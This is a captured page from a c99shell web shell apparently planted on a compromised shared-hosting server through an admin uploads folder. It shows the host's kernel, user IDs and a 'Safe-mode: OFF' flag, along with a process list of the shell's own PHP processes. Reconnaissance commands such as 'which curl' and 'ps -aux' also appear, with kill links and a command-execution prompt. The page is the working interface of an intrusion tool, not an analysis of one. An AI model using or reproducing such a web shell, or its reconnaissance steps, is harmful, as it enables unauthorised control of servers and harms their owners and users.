Software: Apache. PHP/5.6.40 uname -a: Linux cpanel06wh.bkk1.cloud.z.com 2.6.32-954.3.5.lve1.4.80.el6.x86_64 #1 SMP Thu Sep 24 uid=851(cp949260) gid=853(cp949260) groups=853(cp949260) Safe-mode: OFF (not secure) /usr/share/locale/bin/ drwxr-xr-x |
Processes: | ||||||||||||||||||||||||||||||
USER | PID | %CPU | %MEM | VSZ | RSS | TTY | STAT | START | TIME | COMMAND | ||||||||||||||||||||
cp949260 | 1428477 | 0.0 | 0.0 | 312196 | 8292 | ? | Rs 18:17 0:00 lsphp:com/admin/uploads/181_file20250512002430.php | KILL | ||||||||||||||||||||||
cp949260 | 1428504 | 0.0 | 0.0 | 311564 | 7716 | ? | Rs 18:17 0:00 lsphp:com/admin/uploads/181_file20250512002430.php | KILL | ||||||||||||||||||||||
cp949260 | 1428459 | 0.0 | 0.0 | 313480 | 9200 | ? | Rs 18:17 0:00 lsphp:com/admin/uploads/181_file20250512002430.php | KILL | ||||||||||||||||||||||
cp949260 | 1428431 | 0.0 | 0.0 | 313480 | 9908 | ? | Ss 18:17 0:00 lsphp:com/admin/uploads/181_file20250512002430.php | KILL | ||||||||||||||||||||||
cp949260 | 1428277 | 3.0 | 0.0 | 313480 | 10024 | ? | Ss 18:17 0:00 lsphp:com/admin/uploads/181_file20250512002430.php | KILL | ||||||||||||||||||||||
cp949260 | 1428360 | 0.0 | 0.0 | 313480 | 10028 | ? | Ss 18:17 0:00 lsphp:com/admin/uploads/181_file20250512002430.php | KILL | ||||||||||||||||||||||
cp949260 | 1428512 | 0.0 | 0.0 | 11248 | 1036 | ? R 18:17 0:00 sh -c which curl | KILL | |||||||||||||||||||||||
cp949260 | 1428509 | 0.0 | 0.0 | 11248 | 1036 | ? R 18:17 0:00 sh -c free -m | KILL | |||||||||||||||||||||||
cp949260 | 1428495 | 0.0 | 0.0 | 13084 | 1024 | ? R 18:17 0:00 ps -aux | KILL | |||||||||||||||||||||||
cp949260 | 1412475 | 1.1 | 0.0 | 311044 | 19000 | ? | Ss 18:15 0:00 lsphp | KILL | ||||||||||||||||||||||
cp949260 | 978069 | 0.2 | 0.0 | 311044 | 19000 | ? | Ss 17:42 0:05 lsphp | KILL | ||||||||||||||||||||||
cp949260 | 1428250 | 10.0 | 0.0 | 313588 | 12700 | ? | Rs 18:17 0:00 lsphp | KILL |
:: Command execute :: | |
--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by KaizenLouie | C99Shell Github | Generation time: 0.1999 ]-- |